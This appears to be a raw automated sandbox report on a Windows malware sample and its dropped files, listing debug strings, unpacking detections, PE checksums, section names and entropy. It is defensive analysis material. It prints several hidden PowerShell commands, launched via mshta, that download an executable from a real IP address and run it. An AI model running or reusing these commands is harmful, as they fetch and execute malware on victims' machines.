Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pywintypes.pdb source: trano1221.exe, 0000002A.00000002.1973847890.00007FF98B771000.00000040.00000001.01000000.00000038.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: trano1221.exe, 0000002A.00000002.1975488711.00007FF98BB50000.00000040.00000001.01000000.00000033.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pythoncom.pdb}},GCTL source: trano1221.exe, 0000002A.00000002.1973364756.00007FF98B6B1000.00000040.00000001.01000000.0000003A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_elementtree.pdb source: trano1221.exe, 0000002A.00000002.1986859487.00007FF98C331000.00000040.00000001.01000000.00000036.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1596701757.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591525735.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pywintypes.pdb** source: trano1221.exe, 0000002A.00000002.1973847890.00007FF98B771000.00000040.00000001.01000000.00000038.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588821073.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598775483.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: trano1221.exe, 00000023.00000003.1583189955.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2033979566.00007FF9AF531000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1590455368.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599693153.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: trano1221.exe, 00000023.00000003.1592148006.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: trano1221.exe, 0000002A.00000002.2006486368.00007FF98E76B000.00000040.00000001.01000000.0000001C.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591309503.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599866003.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600849374.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593372329.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598137593.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593530214.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: trano1221.exe, 00000023.00000003.1589513980.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: trano1221.exe, 0000002A.00000002.1980030194.00007FF98BD75000.00000040.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: trano1221.exe, 0000002A.00000002.2029904114.00007FF9A06FC000.00000040.00000001.01000000.00000028.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600027684.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1590256912.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589946129.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pythoncom.pdb source: trano1221.exe, 0000002A.00000002.1973364756.00007FF98B6B1000.00000040.00000001.01000000.0000003A.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1941606459.000001E16B3B0000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: trano1221.exe, 0000002A.00000002.1980030194.00007FF98BD75000.00000040.00000001.01000000.0000002D.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599377266.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600505618.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: trano1221.exe, 0000002A.00000002.1984942451.00007FF98C2E1000.00000040.00000001.01000000.0000002B.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Unpacked PE file: 0.2.M6gQuZPvgY.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 2.2.rapes.exe.240000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 3.2.rapes.exe.240000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Unpacked PE file: 34.2.TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.170000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zwbixhzy:EW;murqhuul:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Unpacked PE file: 45.2.c1f0508103.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zzezzonx:EW;iactdlgu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zzezzonx:EW;iactdlgu:EW;.taggant:EW;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Unpacked PE file: 17.2.m0wsoI3.exe.60900000.1.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: cronikxqqq[1].exe.15.dr, gBMthepoZSL1ZVKpeA.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: cronikxqqq.exe.15.dr, gBMthepoZSL1ZVKpeA.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

Source: cronikxqqq[1].exe.15.dr

Static PE information: 0xB00FDD35 [Wed Aug 8 20:14:45 2063 UTC]

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Code function: 17_2_00409220 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

17_2_00409220

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: crypted.41[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0xbd7a2
Source: unicodedata.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x57bc8
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1b3266 should be: 0x1bd361
Source: crypted.exe0.15.dr	Static PE information: real checksum: 0x0 should be: 0xbd7a2
Source: pyexpat.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x1e8c7
Source: UD49QH6[1].exe.6.dr	Static PE information: real checksum: 0x1cc568 should be: 0x1ce71d
Source: m0wsoI3[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x37032
Source: m0wsoI3.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x37032
Source: 83f34278c7.exe.6.dr	Static PE information: real checksum: 0x2027df should be: 0x202602
Source: _imagingcms.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x27dbf
Source: _cffi.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x40487
Source: _asyncio.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xd8f5
Source: cronikxqqq.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x79c75
Source: backend_c.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x385b6
Source: _win32sysloader.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xefa5
Source: pywintypes311.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x1cc1e
Source: d101bd5267.exe.6.dr	Static PE information: real checksum: 0x1b3266 should be: 0x1bd361
Source: select.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xda93
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x207f0e should be: 0x203fd2
Source: python311.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x1a7a57
Source: libssl-3.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x47441
Source: mrwipre12[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x8788c
Source: futors.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x724e5
Source: amnew[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x724e5
Source: mrwipre12.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x8788c
Source: win32api.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x18ee4
Source: v7942[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x63e10
Source: M6gQuZPvgY.exe	Static PE information: real checksum: 0x2160e8 should be: 0x216ef4
Source: rapes.exe.0.dr	Static PE information: real checksum: 0x2160e8 should be: 0x216ef4
Source: _imagingft.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xb785c
Source: crypted.7[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x78b87
Source: 0629403be8.exe.6.dr	Static PE information: real checksum: 0x207f0e should be: 0x203fd2
Source: _webp.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x31963
Source: dw[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0xf920
Source: crypted.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x78b87
Source: pythoncom311.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x33c75
Source: _rust.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x22b568
Source: win32trace.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x12e28
Source: md.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x3c52
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: real checksum: 0x2160e8 should be: 0x216ef4
Source: c1f0508103.exe.6.dr	Static PE information: real checksum: 0x1d229c should be: 0x1d7014
Source: v7942.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x63e10
Source: cronikxqqq[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x79c75
Source: dw.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0xf920
Source: _imaging.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xc8e1b
Source: _imagingmath.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x4f30
Source: amnew.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x724e5
Source: md__mypyc.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x16981
Source: libffi-8.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0xa3d3
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d229c should be: 0x1d7014
Source: libcrypto-3.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x195369
Source: _speedups.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0xf007
Source: _imagingtk.cp311-win_amd64.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x1054a
Source: win32ui.pyd.35.dr	Static PE information: real checksum: 0x0 should be: 0x4e017
Source: UD49QH6.exe.6.dr	Static PE information: real checksum: 0x1cc568 should be: 0x1ce71d
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2027df should be: 0x202602

Source: M6gQuZPvgY.exe	Static PE information: section name:
Source: M6gQuZPvgY.exe	Static PE information: section name: .idata
Source: M6gQuZPvgY.exe	Static PE information: section name:
Source: M6gQuZPvgY.exe	Static PE information: section name: zwbixhzy
Source: M6gQuZPvgY.exe	Static PE information: section name: murqhuul
Source: M6gQuZPvgY.exe	Static PE information: section name: .taggant
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: zwbixhzy
Source: rapes.exe.0.dr	Static PE information: section name: murqhuul
Source: rapes.exe.0.dr	Static PE information: section name: .taggant
Source: UD49QH6[1].exe.6.dr	Static PE information: section name:
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: .idata
Source: UD49QH6[1].exe.6.dr	Static PE information: section name:
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: nafweblw
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: crjcyqmk
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: .taggant
Source: UD49QH6.exe.6.dr	Static PE information: section name:
Source: UD49QH6.exe.6.dr	Static PE information: section name: .idata
Source: UD49QH6.exe.6.dr	Static PE information: section name:
Source: UD49QH6.exe.6.dr	Static PE information: section name: nafweblw
Source: UD49QH6.exe.6.dr	Static PE information: section name: crjcyqmk
Source: UD49QH6.exe.6.dr	Static PE information: section name: .taggant
Source: m0wsoI3[1].exe.6.dr	Static PE information: section name:
Source: m0wsoI3.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: zzezzonx
Source: random[1].exe0.6.dr	Static PE information: section name: iactdlgu
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: c1f0508103.exe.6.dr	Static PE information: section name:
Source: c1f0508103.exe.6.dr	Static PE information: section name: .idata
Source: c1f0508103.exe.6.dr	Static PE information: section name:
Source: c1f0508103.exe.6.dr	Static PE information: section name: zzezzonx
Source: c1f0508103.exe.6.dr	Static PE information: section name: iactdlgu
Source: c1f0508103.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: lmgreshx
Source: random[2].exe.6.dr	Static PE information: section name: wvhccysx
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 83f34278c7.exe.6.dr	Static PE information: section name:
Source: 83f34278c7.exe.6.dr	Static PE information: section name: .idata
Source: 83f34278c7.exe.6.dr	Static PE information: section name:
Source: 83f34278c7.exe.6.dr	Static PE information: section name: lmgreshx
Source: 83f34278c7.exe.6.dr	Static PE information: section name: wvhccysx
Source: 83f34278c7.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: jtqqduow
Source: random[1].exe1.6.dr	Static PE information: section name: batwxedy
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 0629403be8.exe.6.dr	Static PE information: section name:
Source: 0629403be8.exe.6.dr	Static PE information: section name: .idata
Source: 0629403be8.exe.6.dr	Static PE information: section name:
Source: 0629403be8.exe.6.dr	Static PE information: section name: jtqqduow
Source: 0629403be8.exe.6.dr	Static PE information: section name: batwxedy
Source: 0629403be8.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: tojgfqvj
Source: random[1].exe2.6.dr	Static PE information: section name: wmllaexh
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: d101bd5267.exe.6.dr	Static PE information: section name:
Source: d101bd5267.exe.6.dr	Static PE information: section name: .idata
Source: d101bd5267.exe.6.dr	Static PE information: section name:
Source: d101bd5267.exe.6.dr	Static PE information: section name: tojgfqvj
Source: d101bd5267.exe.6.dr	Static PE information: section name: wmllaexh
Source: d101bd5267.exe.6.dr	Static PE information: section name: .taggant
Source: cronikxqqq[1].exe.15.dr	Static PE information: section name: .CSS
Source: cronikxqqq.exe.15.dr	Static PE information: section name: .CSS
Source: v7942[1].exe.15.dr	Static PE information: section name: .gxfg
Source: v7942[1].exe.15.dr	Static PE information: section name: .retplne
Source: v7942[1].exe.15.dr	Static PE information: section name: _RDATA
Source: v7942.exe.15.dr	Static PE information: section name: .gxfg
Source: v7942.exe.15.dr	Static PE information: section name: .retplne
Source: v7942.exe.15.dr	Static PE information: section name: _RDATA
Source: mozglue.dll.17.dr	Static PE information: section name: .didat
Source: msvcp140.dll.17.dr	Static PE information: section name: .didat
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name:
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: .idata
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name:
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: zwbixhzy
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: murqhuul
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: .taggant
Source: libffi-8.dll.35.dr	Static PE information: section name: UPX2
Source: mfc140u.dll.35.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.35.dr	Static PE information: section name: _RDATA
Source: _rust.pyd.35.dr	Static PE information: section name: UPX2

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_009572EF pushad ; iretd	13_2_009572F0
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00969FC1 push ecx; ret	13_2_00969FD4
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_003F72EF pushad ; iretd	14_2_003F72F0
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00409FC1 push ecx; ret	14_2_00409FD4
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60983000 pushad ; iretd	17_2_60983031
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096D990 push eax; ret	17_2_6096D9C0
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60911F9E push ecx; mov dword ptr [esp], ebx	17_2_60911FD3
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60987F71 pushad ; iretd	17_2_60987F74
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00660A76 push ecx; ret	18_2_00660A89

Source: M6gQuZPvgY.exe	Static PE information: section name: entropy: 7.071163489335255
Source: M6gQuZPvgY.exe	Static PE information: section name: zwbixhzy entropy: 7.954713744727896
Source: rapes.exe.0.dr	Static PE information: section name: entropy: 7.071163489335255
Source: rapes.exe.0.dr	Static PE information: section name: zwbixhzy entropy: 7.954713744727896
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: entropy: 7.980512869522268
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: nafweblw entropy: 7.953826641975752
Source: UD49QH6.exe.6.dr	Static PE information: section name: entropy: 7.980512869522268
Source: UD49QH6.exe.6.dr	Static PE information: section name: nafweblw entropy: 7.953826641975752
Source: m0wsoI3[1].exe.6.dr	Static PE information: section name: .text entropy: 7.245682295128179
Source: m0wsoI3.exe.6.dr	Static PE information: section name: .text entropy: 7.245682295128179
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.986903868538746
Source: random[1].exe0.6.dr	Static PE information: section name: zzezzonx entropy: 7.954384918744277
Source: c1f0508103.exe.6.dr	Static PE information: section name: entropy: 7.986903868538746
Source: c1f0508103.exe.6.dr	Static PE information: section name: zzezzonx entropy: 7.954384918744277
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.169971330525206
Source: random[2].exe.6.dr	Static PE information: section name: lmgreshx entropy: 7.954460534575886
Source: 83f34278c7.exe.6.dr	Static PE information: section name: entropy: 7.169971330525206
Source: 83f34278c7.exe.6.dr	Static PE information: section name: lmgreshx entropy: 7.954460534575886
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.14420663079945
Source: random[1].exe1.6.dr	Static PE information: section name: jtqqduow entropy: 7.953455836557056
Source: 0629403be8.exe.6.dr	Static PE information: section name: entropy: 7.14420663079945
Source: 0629403be8.exe.6.dr	Static PE information: section name: jtqqduow entropy: 7.953455836557056
Source: random[1].exe2.6.dr	Static PE information: section name: tojgfqvj entropy: 7.953511808501187
Source: d101bd5267.exe.6.dr	Static PE information: section name: tojgfqvj entropy: 7.953511808501187
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: entropy: 7.071163489335255
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: zwbixhzy entropy: 7.954713744727896

Source: cronikxqqq[1].exe.15.dr, GSKpiUyewQVjl3ll2g.cs	High entropy of concatenated method names: 'N64lIWiqvs', 'y3qlLpN8VK', 'ahKlWAIBS3', 'TF7lOb8J3f', 'jgnloPbgcx', 'ra2lnByEPY', 'Gbml9SnirQ', 'XAylfpE7m9', 'wwNljlVFDW', 'qAplaZYBVp'
Source: cronikxqqq[1].exe.15.dr, gBMthepoZSL1ZVKpeA.cs	High entropy of concatenated method names: 'reTlcDMFua', 'nW4lBacjpc', 'sMLlkdoJ60', 'I5LlJVOMeQ', 'qdll7OAZFb', 'QEmlZSRGOw', 'NsqrSNUpN', 'N15X2cY3J', 'NWNp5BRFs', 'Q59l6jZOT'
Source: cronikxqqq.exe.15.dr, GSKpiUyewQVjl3ll2g.cs	High entropy of concatenated method names: 'N64lIWiqvs', 'y3qlLpN8VK', 'ahKlWAIBS3', 'TF7lOb8J3f', 'jgnloPbgcx', 'ra2lnByEPY', 'Gbml9SnirQ', 'XAylfpE7m9', 'wwNljlVFDW', 'qAplaZYBVp'
Source: cronikxqqq.exe.15.dr, gBMthepoZSL1ZVKpeA.cs	High entropy of concatenated method names: 'reTlcDMFua', 'nW4lBacjpc', 'sMLlkdoJ60', 'I5LlJVOMeQ', 'qdll7OAZFb', 'QEmlZSRGOw', 'NsqrSNUpN', 'N15X2cY3J', 'NWNp5BRFs', 'Q59l6jZOT'

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
